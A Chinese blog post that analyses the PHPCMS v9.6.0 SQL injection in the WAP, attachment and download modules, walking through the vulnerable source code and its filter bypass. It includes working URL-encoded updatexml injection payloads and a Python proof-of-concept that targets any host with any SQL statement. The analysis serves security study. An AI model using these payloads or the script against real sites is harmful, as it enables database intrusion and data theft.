一个炫酷的小码农!

PHPCMS_V9.6 WAP模块SQL注入漏洞分析

Posted on By yaof

PHPCMS

1. 漏洞描述

  • 漏洞编号: SSV-92929
  • 漏洞简述: phpcms v9.6.0 sys_auth在解密参数后未进行适当校验造成sql injection。
  • 影响版本: phpcms v9.6.0
  • 触发函数: init函数

2. 漏洞分析

2.1 漏洞介绍

  phpcms是国内相对用的较多的cms之一。具体的漏洞触发点在phpcms\modules\content\down.php文件init函数中,代码如下:

public function init() {
    $a_k = trim($_GET['a_k']);//获取a_k参数
    if(!isset($a_k)) showmessage(L('illegal_parameters'));
    $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//使用sys_auth加密并传入DECODE及system.php文件中的auth_key
    if(empty($a_k)) showmessage(L('illegal_parameters'));
    unset($i,$m,$f);
    parse_str($a_k);//将解密后的字符串解析到变量
    if(isset($i)) $i = $id = intval($i);
    if(!isset($m)) showmessage(L('illegal_parameters'));
    if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
    if(empty($f)) showmessage(L('url_invalid'));
    $allow_visitor = 1;
    $MODEL = getcache('model','commons');
    $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
    $this->db->table_name = $tablename.'_data';
    $rs = $this->db->get_one(array('id'=>$id));    //id传入sql查询语句
    ......部分代码省略....
    ......

代码通过GET获取’a_k’值,并调用sys_auth函数进行解密,这里传入了’DECODE’参数以及配置文件caches\configs\system.php文件中的auth_key字段。所以可以知道这里是使用了auth_key并进行解密操作。具体可以查看phpcms\libs\functions\global.func.php第384行sys_auth函数的定义。

在对a_k解密后使用parse_str将字符串解析到变量并解码。如下代码,输出的id为:’union select

<?php 
$test='id=%27union%20select';
parse_str($test);
echo $id;
?>

最后在第26行处代码处(down.php)将id传入sql查询语句。

2.2 漏洞环境搭建

我的环境在Ubuntu中复现

  1. 安装Ubuntu虚拟机
  2. 安装PHP环境(Apache+php+mysql)
  3. 下载phpcms v9.6.0源码进行安装
  4. 通过后台管理员密码进行登录,配置开启WAP模块
  5. 配置完成,访问http://192.168.119.131/phpcms/install_package/index.php?m=wap&c=index&a=init&siteid=1进行查看,wap是否开启

2.3 漏洞验证

  1. 访问http://192.168.119.131/phpcms/install_package/index.php?m=wap&c=index&a=init&siteid=1获取cookie。 PHPCMS

  2. 把这个cookie的值复制下来以POST传入userid_flash变量访问

     /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28select%20flag%20from%20flag%3B%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
    

    该URL通过url解码后是

     /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(select flag from flag;)),1)#&m=1&f=haha&modelid=2&catid=7&
    

    其中select flag from flag;可以换成任一SQL注入语句。通过该cookie获取att_json。 PHPCMS

  3. 上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量,访问

     http://192.168.119.131/phpcms/install_package/index.php?m=content&c=down&a_k=8532s3x_Spdkw0xiFxEcKyivtW4Sh8zyDV07Yyl2MOds0nULY-wjT9y3RLa4P-Fj7FBzUkhIct0DRpcIE1bwI6pklJAazBejhJIqRJF3hxaYB6S2e_ogokZOsiXYHulCW6-_yhFYziGpsy9H0dW93f7ZeU5VYf-Y-OILu22tlk3pUThLDLUnXyUVvZh8pc9YXmjGHMz4NeE
    

    查看返回结果: PHPCMS 可以看到SQL语句执行成功并将结果返回在页面中。

  4. SQL语句回显出结果,证明漏洞验证成功。

3. 漏洞原理分析

3.1 源代码分析

  1. 首先我们看phpcms/modules/attachment/attachments.php中的swfupload_json函数:

     /**
      * 设置swfupload上传的json格式cookie
      */
     public function swfupload_json() {
         $arr['aid'] = intval($_GET['aid']);
         $arr['src'] = safe_replace(trim($_GET['src']));
         $arr['filename'] = urlencode(safe_replace($_GET['filename']));
         $json_str = json_encode($arr);
         $att_arr_exist = param::get_cookie('att_json');
         $att_arr_exist_tmp = explode('||', $att_arr_exist);
         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
             return true;
         } else {
             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
             param::set_cookie('att_json',$json_str);
             return true;			
         }
     }
    
  2. 这里用safe_repalce过滤输入,跟进这个函数:

     function safe_replace($string) {
         $string = str_replace('%20','',$string);
         $string = str_replace('%27','',$string);
         $string = str_replace('%2527','',$string);
         $string = str_replace('*','',$string);
         $string = str_replace('"','"',$string);
         $string = str_replace("'",'',$string);
         $string = str_replace('"','',$string);
         $string = str_replace(';','',$string);
         $string = str_replace('<','<',$string);
         $string = str_replace('>','>',$string);
         $string = str_replace("{",'',$string);
         $string = str_replace('}','',$string);
         $string = str_replace('\\','',$string);
         return $string;
     }
    
  3. 函数将敏感字符替换为空,但问题是只执行一次,所以当输入是%*27*被过滤,进而可以得到%27

  4. 回到swfupload_json中,safe_replace处理后,程序使用json_encode+ set_cookie生成加密的 Cookie。也就是说利用swfupload_json我们可以构造一个含有%27等 payload 的加密值。不过执行swfupload_json需要一点条件,我们看构造函数:

     class attachments {
         private $att_db;
         function __construct() {
             pc_base::load_app_func('global');
             $this->upload_url = pc_base::load_config('system','upload_url');
             $this->upload_path = pc_base::load_config('system','upload_path');		
             $this->imgext = array('jpg','gif','png','bmp','jpeg');
             $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
             $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
             $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
             //判断是否登录
             if(empty($this->userid)){
                 showmessage(L('please_login','','member'));
             }
         }
         ......部分代码省略....
         ......
    
  5. 如果$this->userid不为空我们才可以继续执行。$this->useridsys_auth($_POST[‘userid_flash’], ‘DECODE’)的值有关,并且程序并没有检查$this->userid的有效性,所以只要传入的userid_flash是个合法的加密值就可以通过检测进而使用swfupload_json了。那么如何获取一个合法加密值呢?这就来到了phpcms/modules/wap/index.php中:

     class index {
         function __construct() {		
             $this->db = pc_base::load_model('content_model');
             $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
             param::set_cookie('siteid',$this->siteid);	
             $this->wap_site = getcache('wap_site','wap');
             $this->types = getcache('wap_type','wap');
             $this->wap = $this->wap_site[$this->siteid];
             define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
             if($this->wap['status']!=1) exit(L('wap_close_status'));
         }
         ......部分代码省略....
         ......
    
  6. 在 wap 模块的构造函数中程序根据siteid生成了一个加密 Cookie,生成的值我们是可以通过响应头获取到的。至此,我们可以通过以下两个步骤获得一个含有 payload 的加密值:
    1. 访问 wap 模块得到一个普通的加密 Cookie
    2. 将上面得到的加密 Cookie 作为userid_flash的值,带上 payload 访问swfupload_json
    3. :这两步也是上文中漏洞验证的第一第二步操作。
  7. 得到含有 payload 的加密值之后,我们继续找哪里可以用到这个值。 我们看phpcms/modules/content/down.php:

     public function init() {
         $a_k = trim($_GET['a_k']);//获取a_k参数
         if(!isset($a_k)) showmessage(L('illegal_parameters'));
         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//使用sys_auth加密并传入DECODE及system.php文件中的auth_key
         if(empty($a_k)) showmessage(L('illegal_parameters'));
         unset($i,$m,$f);
         parse_str($a_k);//将解密后的字符串解析到变量
         if(isset($i)) $i = $id = intval($i);
         if(!isset($m)) showmessage(L('illegal_parameters'));
         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
         if(empty($f)) showmessage(L('url_invalid'));
         $allow_visitor = 1;
         $MODEL = getcache('model','commons');
         $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
         $this->db->table_name = $tablename.'_data';
         $rs = $this->db->get_one(array('id'=>$id));    //id传入sql查询语句
         ......部分代码省略....
         ......
    
  8. 这里用sys_auth解密输入的a_k,然后使用parse_str处理a_k,该函数的作用简单来说就是以&分隔符,解析并注册变量。通过 IDE 的提示我们可以看到在静态的情况下$id是未初始化的,所以我们可以通过parse_str注册$id进而将可控数据带入查询,另外parse_str可以进行 URL 解码,所以之前我们得到的%27也就被解码成了真正可以利用的’。

总结

所以整个攻击流程如下:

  1. 通过 wap 模块构造含有 payload 的加密值
  2. 将加密值作为a_k的值访问down.php的init函数

3.2 漏洞利用

  漏洞点上面已经说了,要利用这个漏洞,首先得对payload进行加密操作,在本地得话auth_key得值是可以知道的,但问题是肯定不通用。仔细想下,程序中有解密的方法,那肯定有相应的加密方法,所以只要在程序中找到调用加密方法并能获取到结果的接口。那便可通用检测所有存在漏洞的站点了,当然这里也要想办法让注入的payload能够不被过滤进入到这个接口,这也可以说是另一个漏洞点了。

基于这个思路,就可以在程序工程中全文搜索sys_auth传入ENCODE的方法,不过通过网上的POC可以看到其作者已经给出了这个ENCODE地方,可以看出漏洞发现者也是非常细心,必须赞下。

在phpcms\libs\classes\param.class.php文件第86行,函数set_cookie:

public static function set_cookie($var, $value = '', $time = 0) {
        $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
        $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
        $var = pc_base::load_config('system','cookie_pre').$var;//获取system.php文件中cookie_pre值作为cookies字段key的前缀
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
            }
        } else {
            setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);//调用setcookie函数加密数据
        }
    }

从代码中可以看到这里在调用setcookie时调用了sys_auth函数,且传入的时ENCODE加密参数。而sys_auth函数定义中可以了解到,其默认使用的key既是system.php文件中的auth_key。这里即可实现对payload进行加密的目的。

到这里就剩下如何把payload完好无损的传入了,这里也是这个漏洞利用另一个让人觉得很巧妙的地方。在phpcms\modules\attachment\attachments.php文件第239行swfupload_json函数的实现中:

public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));//获取src变量并调用safe_replace处理
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);//json_encode编码处理
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);//将编码后的数据设置为cookie的值
            return true;            
        }
    }

首先这里调用了set_cookie函数,att_json作为cookies字段的key的一部分,在set_cookie函数中可以看到其与system.php文件中的cookie_pre拼接作为cookies的key,将src、aid、filename等参数json编码后设置成cookie的值。src参数传入后只经过safe_replace函数的处理,上文也给出了safe_replace函数的定义。

作为安全过滤函数,safe_replace对%20、%27、%2527等都进行了替换删除操作。同样对等也进行了替换删除处理。这样如果传入%*27经过处理后即只剩下%27.这样就可以对sql注入的payload进行适当的处理即可传入程序进入set_cookie函数,从而进行加密操作。

4. 简析利用POC

主要函数代码如下:

def sqli(host):
    try:
        url1 = '{}/index.php?m=wap&c=index&a=init&siteid=1'.format(host)
        s = requests.Session()
        req = s.get(url1)
        flag = raw_input("Input your SQL Injection:")
        flag = urllib.quote(flag)
        url2 = '{}/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28{}%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26'.format(
                host, flag)
        cookies = requests.utils.dict_from_cookiejar(s.cookies)['svyko_siteid']
        data = {"userid_flash": cookies}
        r = s.post(url=url2, data=data)
        a_k = r.headers['Set-Cookie'][61:]
        url3 = '{}/index.php?m=content&c=down&a_k={}'.format(host, a_k)
        if re.search(check_response, str(s.get(url3).content)) is not None:
            print re.search(check_response, str(s.get(url3).content)).group()
    except:
        print 'requests error.'
        pass

该函数主要实现三步:

  1. 通过传入参数host构造第一个url: url1 = '{}/index.php?m=wap&c=index&a=init&siteid=1'.format(host),发送get请求,获取cookie。
  2. 通过手动输入自己的SQL注入语句构造url2:

     flag = raw_input("Input your SQL Injection:")
     flag = urllib.quote(flag)
     url2 = '{}/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28{}%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26'.format(
             host, flag) 并且把url1中获取的cookie在url2构造post请求中以data参数形式进行传参。
    
  3. 把url2中获取的set-cookie参数值作为url3中url3 = '{}/index.php?m=content&c=down&a_k={}'.format(host, a_k)a_k的参数值进行输入得到回显,获取sql注入返回结果。

5. 参考资料